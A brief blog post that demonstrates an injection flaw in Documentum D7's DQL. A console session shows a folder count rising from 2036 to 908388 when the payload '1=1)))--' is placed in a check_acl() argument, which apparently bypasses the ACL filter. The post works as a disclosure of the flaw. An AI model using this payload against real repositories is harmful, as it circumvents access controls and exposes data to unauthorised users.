Enjoy SQL injections together with Documentum

Another one DQL feature introduced in D7:

API> ?,c,select count(*) from dm_folder
count(*)
              
----------------------
                  2036
(1 row affected)

API> ?,c,select count(*) from dm_folder where check_acl('1=1)))--', 'object_name')
count(*)
              
----------------------
                908388
(1 row affected)

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

w

Connecting to %s